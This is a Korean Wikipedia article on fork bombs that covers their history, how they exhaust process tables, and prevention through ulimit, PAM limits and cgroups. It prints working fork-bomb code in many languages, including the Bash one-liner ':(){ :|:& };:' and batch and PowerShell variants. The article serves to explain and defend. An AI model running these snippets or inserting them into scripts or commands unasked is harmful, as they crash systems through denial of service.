포크 폭탄

위키백과, 우리 모두의 백과사전.
둘러보기로 가기 검색하러 가기
포크 폭탄의 개념. 프로세스들이 자기 자신을 계속 복제함으로써 잠재적으로 서비스 거부를 일으키게 된다.

컴퓨팅에서 포크 폭탄, 포크 밤(fork bomb), 토끼 바이러스(rabbit virus), 웨빗(wabbit)[1]프로세스가 지속적으로 자신을 복제함으로써 이용 가능한 시스템 자원을 고갈시키고 시스템 속도를 떨어트려 결국엔 기아 상태로 인한 시스템 충돌을 일으키는 서비스 거부 공격이다.

역사[편집]

1978년 즈음, '웨빗'(wabbit)이라는 이름의 초기 포크 폭탄 변종이 시스템/360에서 실행된 것으로 보고되었다. 이는 워싱턴 대학교버로스 5500의 1969년 보고된 래빗츠(RABBITS)라는 이름의 유사 공격에서 비롯된 것으로 짐작된다.[1]

구현체[편집]

포크 폭탄은 포크(fork) 프로세스 중 CPU 시간을 소비함으로써, 또 운영 체제의 프로세스 테이블을 포화 상태로 만듦으로써 동작한다.[2][3] 기본적인 포크 폭탄의 구현체는 자신의 새로운 복사본을 반복적으로 실행하는 무한 루프이다.

유닉스 계열 운영 체제에서 포크 폭탄은 일반적으로 fork 시스템 호출을 사용하도록 작성된다.[3] 포크된 프로세스들이 최초 프로그램의 사본이기도 하므로 콜 스택의 다음 주소로부터 실행을 계속 이어나가면 동일한 무한 루프의 사본 내에서 무한히 포크를 계속하게 된다. 이로 인해 프로세스의 지수적 성장을 일으키게 된다. 현대의 유닉스 시스템은 새 프로세스를 포크할 때 카피 온 라이트 자원 관리를 사용하는 것이 일반적이지만[4] 포크 폭탄은 일반적으로 이러한 시스템 메모리를 포화시키지 않는다.

마이크로소프트 윈도우 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다.[5] 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.

포크 폭탄의 예[편집]

루비[편집]

fork while true

[편집]

인터프리터를 이용한 인라인 셸 예시:

perl -e "fork while fork" &

파이썬[편집]

import os
while True:
    os.fork()

C[편집]

#include <sys/types.h>
#include <unistd.h>

int main()
{
    while (1)
    {
      fork();
    }
    return 0;
}

자바[편집]

public class ForkBomb
{
    public static void main(String[] args)
    {
        while (true)
        {
            Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
        }
    }
}

Lua[편집]

-- Requires `luaposix' module
local unistd = require "posix.unistd"

while true do
  unistd.fork()
end

어셈블리 (IA-32에서 실행되는 리눅스)[편집]

section .text
    global _start

_start:
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

셸 스크립트[편집]

다음은 셸 스크립트에서 2개의 $0 인스턴스를 실행하는 것이다. 여기서 $0는 스크립트 이름 자체를 반환하는 환경 변수이며 다른 인스턴스를 통해 출력물을 파이프 처리함으로써 기하급수적으로 프로세스를 복제시키는 결과를 낳는다.

#!/bin/sh
./$0|./$0&

더 단순한 방식은 간단히 ./$0&를 두 번 실행하는 것이다:

#!/bin/sh
./$0&
./$0&


Bash[편집]

Bash에서 포크 폭탄은 다중 재귀 함수를 선언하고 호출함으로써 수행할 수 있다:

bomb(){
  bomb | bomb &
}
bomb

추가적으로 가장 유명하고 흔히 인용되는 포크 폭탄의 예시들 가운데 하나는 다음과 같이 간결한 1줄 Bash 명령어이다:

:(){ :|:& };:

이 명령어는 상기 명령의 난독화된 버전이다. 여기서의 트릭은 :를 함수명으로 사용한다는 점인데, 이것이 가능한 이유는 콜론이 다른 대부분의 언어에서처럼 Bash의 예약된 문자가 아니기 때문이다. 그 외의 경우는 동일하다.[6]

유니코드 지원의 경우 다음과 같이 유사하게 렌더링이 가능하다:

💣(){ 💣|💣& };💣

윈도우 배치[편집]

:ForkBomb
 start
 goto ForkBomb

상기와 동일하지만 더 짧게는 다음과 같이 쓸 수 있다:

 %0 | %0

상기와 동일하지만 이스케이프 특수문자에 ^를 사용하여 명령 줄에서 수행이 가능하다:

echo  %0^|%0  >forkbomb.bat & forkbomb.bat

"실행..." 프롬프트에서 직접 실행할 수 있도록 설계된 간결한 버전은 다음과 같다:

cmd /k echo -^|->-.bat&-

파워셸[편집]

while ($true) {
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';
}

자바스크립트[편집]

(f => f(f))(async f => f(f) && f(f));

예방[편집]

포크 폭탄의 운용 방식이 온전히 새로운 프로세스를 만드는 방식이기 때문에 포크 폭탄이 시스템 전반에 심각한 영향을 주지 못하도록 만드는 한 방법으로는 단일 사용자가 소유할 수 있는 프로세스의 최대 수를 제한시키는 것이다. 리눅스에서는 ulimit 유틸리티를 사용하여 이를 수행할 수 있다. 이를테면 ulimit -u 30 명령을 실행하면 이에 영향을 받는 사용자가 30개의 프로세스를 최대로 소유할 수 있게 된다.[7] PAM을 사용하는 시스템에서 이 제한은 /etc/security/limits.conf,[8]에서도 설정할 수 있으며 FreeBSD의 경우 시스템 관리자가 /etc/login.conf에 제한을 추가할 수 있다.[9] 또, 현대의 리눅스 시스템들은 cgroups와 PID 컨트롤러를 통해 세부적인 포크 폭탄 예방이 가능하다.[10]

같이 보기[편집]

각주[편집]

  1. Raymond, Eric S. (2004년 10월 1일). “wabbit”. The Jargon Lexicon. 2013년 10월 15일에 확인함. 
  2. Ye, Nong (2008). 《Secure Computer and Network Systems: Modeling, Analysis and Design》. 16쪽. ISBN 0470023244. 
  3. Jielin, Dong (2007). 《Network Dictionary》. 200쪽. ISBN 1602670005. 
  4. Dhamdhere, Dhananjay M. (2006). 《Operating Systems: A Concept-based Approach》. 285쪽. ISBN 0-07-061194-7. 
  5. Hammond, Mark (2000). 《Python Programming On Win32: Help for Windows Programmers》. 35쪽. ISBN 1565926218. 
  6. “Fork() Bomb - GeeksforGeeks”. 《GeeksforGeeks》 (영어). 2017년 6월 19일. 2018년 6월 27일에 확인함. 
  7. Cooper, Mendel (2005). 《Advanced Bash Scripting Guide》. 305–306쪽. ISBN 1430319305. 
  8. Soyinka, Wale (2012). 《Linux Administration: A Beginners Guide》. 364–365쪽. ISBN 0071767592. 
  9. Lucas, Michael W. (2007). 《Absolute FreeBSD: The Complete Guide to FreeBSD》. 198–199쪽. ISBN 1593271514. 
  10. “Process Number Controller in Documentation/ as appeared in Linux kernel 5.3”. 2019년 10월 8일.